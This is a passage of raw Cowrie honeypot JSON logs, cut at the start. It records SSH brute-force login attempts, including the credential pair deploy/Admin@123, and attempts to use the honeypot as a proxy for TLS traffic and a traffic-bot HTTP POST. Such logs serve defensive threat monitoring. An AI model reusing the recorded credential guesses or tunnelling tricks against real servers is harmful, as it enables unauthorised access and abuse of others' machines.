\\x8f\\xfd\\xc3hk\\xdb2\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:01.092327Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:01.377296Z","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:01.644181Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x140\\xd7q\\x11\\x8a\"#1\\x8bJ\\xc2q\\x83\\xbdBz\\xba1\\x9d\\x14\\x93jMs\\xa3\\x9aJ\\xf3I&4 \\xde\\x95\\xe58!7\\xe5\\xc0X~\\x1dp\\xc1\\xcb\\xa4A]$\\x0f=t\\xf8RXm\\x11\\x06\\xe8\\x8f\\xbd\\x0bj\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01h\\x8fy\\xc4\\x17\\xcfT7\\x9a\\xbb\\x9b\\xf0<\\xf6\\x8c\\x12 a\\x15\\x06\\xb1\\xe6\\xb0\\xb7\\xea\\x13T\\xc4\\xc2\\xf5\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x140\\xd7q\\x11\\x8a\"#1\\x8bJ\\xc2q\\x83\\xbdBz\\xba1\\x9d\\x14\\x93jMs\\xa3\\x9aJ\\xf3I&4 \\xde\\x95\\xe58!7\\xe5\\xc0X~\\x1dp\\xc1\\xcb\\xa4A]$\\x0f=t\\xf8RXm\\x11\\x06\\xe8\\x8f\\xbd\\x0bj\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01h\\x8fy\\xc4\\x17\\xcfT7\\x9a\\xbb\\x9b\\xf0<\\xf6\\x8c\\x12 a\\x15\\x06\\xb1\\xe6\\xb0\\xb7\\xea\\x13T\\xc4\\xc2\\xf5\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:01.647671Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:02.009570Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.070974111557,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:02.374520Z","src_ip":"128.199.8.54","session":"24242fbde273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":43458,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d04c3f6c893","protocol":"ssh","message":"New connection: 101.79.165.43:43458 (159.203.135.109:22) [session: 8d04c3f6c893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:11.080425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:11.086074Z","src_ip":"101.79.165.43","session":"8d04c3f6c893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:11.303578Z","src_ip":"101.79.165.43","session":"8d04c3f6c893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Admin@123","message":"login attempt [deploy/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:12.207597Z","src_ip":"101.79.165.43","session":"8d04c3f6c893","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:12.657394Z","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:12.715254Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/18E199 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=byVeRzIvblgrKF4zSCRsPw%3D%3DViYzQpAmGIWvBmbGqZVGejbp3PurY%2FU5YseYTH8fy3PtxQ0nqtrvUGnhx6DO29%2FnCjkNdtEcqekoeL%2BTAtsAECFs2aekOZfI4jhR5OvKRHTQapyn4IX0BLd3Gqt0PXiFart7hwA9sfk2fEAE7cAhLWEx5RQh8VzDT%2FkDWkDHZ36Uz9ACtw6blPS1q5ZsjaZEf1oDhmSTjUYLRUwdfD4ecz5L9HOgAyuFjc4nYAZJagbfvwSJbxnwJrNgfUVspzMmodKTTiWPrc0JyAz0qBkz3g5EFPzT6CmyLkQKaTSM5VeUew%2BcsSrfhrhoMK5sIdzHB8lhhuV6R5fl3z3%2B231L8jHwY%2BYTuSoqcXqFBf5VYzTcGPANAOnjjWu6nDylVSJzWyBf0gA6GzlHyfP7nIfPmZYQETbPwg%2Fd%2BMjTN%2FwGk%2FaqjoOB06iRMp%2BLnM29OvRXMWut%2BvhHsv58VpLDwZuUFeI3RRI8E0%2FSa2QUfe7a3A16sufVfqrCu1yzOh6rxavmJfdCMVQWkdbMPCIEahTk0FZF0DytOqUItNo%2FPlCj%2Bw9EGnWHHq9lkD5T7rmsZHYoyAevkc59AWPzUyAGnlroy%2BXPkPKyvORJbB5JoTZkALCnDihAh9Zq29uY7uUsytq1QZKhDEE8TRIDJcp9VZgbj%2FQINgbUc902vUWIh0P5u0PoFiza0amJCn9IhY6lIGDbt1QFhgbuF%2FEV5sm%2FRvRgVrDGMLtXPVKCwqpyBuxavNKvV5HEKd3VoPPveTGpeK9gagtqR3qDRXviIIH6earGGg5xgWz3aDZOwvRZ2e3x55xRdH45z4ur%2FphWRE%2Bh70EbcSfQqKp%2BCpZpW3kpEPVLMoE5pED3MfXmhrSu48rSyUul1d6dpID80orPrwR0NHKAgvbA1uPEatRBRrL5l1sKO9JMicFwNSGN3yxzshx77NJot6Q6RvEWy58c5RU2%2BntI5DmvNFwsSEBHEY57JzAtcAhzdP2kYtzZVHrs69Vj7KFmmBPLef4Es0644HDUU%2BuO3T6g%2BSlNgTpmCHJPZZFmm2rKkppEHJNGro7WJpakY0I%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/18E199 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=byVeRzIvblgrKF4zSCRsPw%3D%3DViYzQpAmGIWvBmbGqZVGejbp3PurY%2FU5YseYTH8fy3PtxQ0nqtrvUGnhx6DO29%2FnCjkNdtEcqekoeL%2BTAtsAECFs2aekOZfI4jhR5OvKRHTQapyn4IX0BLd3Gqt0PXiFart7hwA9sfk2fEAE7cAhLWEx5RQh8VzDT%2FkDWkDHZ36Uz9ACtw6blPS1q5ZsjaZEf1oDhmSTjUYLRUwdfD4ecz5L9HOgAyuFjc4nYAZJagbfvwSJbxnwJrNgfUVspzMmodKTTiWPrc0JyAz0qBkz3g5EFPzT6CmyLkQKaTSM5VeUew%2BcsSrfhrhoMK5sIdzHB8lhhuV6R5fl3z3%2B231L8jHwY%2BYTuSoqcXqFBf5VYzTcGPANAOnjjWu6nDylVSJzWyBf0gA6GzlHyfP7nIfPmZYQETbPwg%2Fd%2BMjTN%2FwGk%2FaqjoOB06iRMp%2BLnM29OvRXMWut%2BvhHsv58VpLDwZuUFeI3RRI8E0%2FSa2QUfe7a3A16sufVfqrCu1yzOh6rxavmJfdCMVQWkdbMPCIEahTk0FZF0DytOqUItNo%2FPlCj%2Bw9EGnWHHq9lkD5T7rmsZHYoyAevkc59AWPzUyAGnlroy%2BXPkPKyvORJbB5JoTZkALCnDihAh9Zq29uY7uUsytq1QZKhDEE8TRIDJcp9VZgbj%2FQINgbUc902vUWIh0P5u0PoFiza0amJCn9IhY6lIGDbt1QFhgbuF%2FEV5sm%2FRvRgVrDGMLtXPVKCwqpyBuxavNKvV5HEKd3VoPPveTGpeK9gagtqR3qDRXviIIH6earGGg5xgWz3aDZOwvRZ2e3x55xRdH45z4ur%2FphWRE%2Bh70EbcSfQqKp%2BCpZpW3kpEPVLMoE5pED3MfXmhrSu48rSyUul1d6dpID80orPrwR0NHKAgvbA1uPEatRBRrL5l1sKO9JMicFwNSGN3yxzshx77NJot6Q6RvEWy58c5RU2%2BntI5DmvNFwsSEBHEY57JzAtcAhzdP2kYtzZVHrs69Vj7KFmmBPLef4Es0644HDUU%2BuO3T6g%2BSlNgTpmCHJPZZFmm2rKkppEHJNGro7WJpakY0I%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:12.718437Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:13.427472Z","src_ip":"101.79.165.43","session":"8d04c3f6c893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.75354433059692,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:15.188589Z","src_ip":"94.23.66.112","session":"33948f9def22","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:16.651245Z","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:16.708246Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16W:\\x93\\xe1\\xfe\\xc5\\x07\\xe8F\\xc3\\xfa<N&\\x0f\\xd4C\\xe9r6|\\xdb?:\\x9a\\xab\\xdc\\xb7\\xb8Sz \\xa8\\xb23\\xfc\\xa6\\xf8\\x8d\\xe3@\\x92\\xbfx\\xe3\\xee#\\x00\\x05/y\\xd8\\x02\\xc4\\xca\\xfb\\x90\\xb7%\\x91_\\x95D\\xb5\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11`\\xea\\xb6\\x8cv\\xda<\\xfa\\xe4\\xdbES\\x14\\xee\\xbe\\xc4\\xe6\\x157\\xc5\\xc3-.\\x975\\xc4\\xad\\xc4\\xfc\\xa3n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16W:\\x93\\xe1\\xfe\\xc5\\x07\\xe8F\\xc3\\xfa<N&\\x0f\\xd4C\\xe9r6|\\xdb?:\\x9a\\xab\\xdc\\xb7\\xb8Sz \\xa8\\xb23\\xfc\\xa6\\xf8\\x8d\\xe3@\\x92\\xbfx\\xe3\\xee#\\x00\\x05/y\\xd8\\x02\\xc4\\xca\\xfb\\x90\\xb7%\\x91_\\x95D\\xb5\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11`\\xea\\xb6\\x8cv\\xda<\\xfa\\xe4\\xdbES\\x14\\xee\\xbe\\xc4\\xe6\\x157\\xc5\\xc3-.\\x975\\xc4\\xad\\xc4\\xfc\\xa3n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00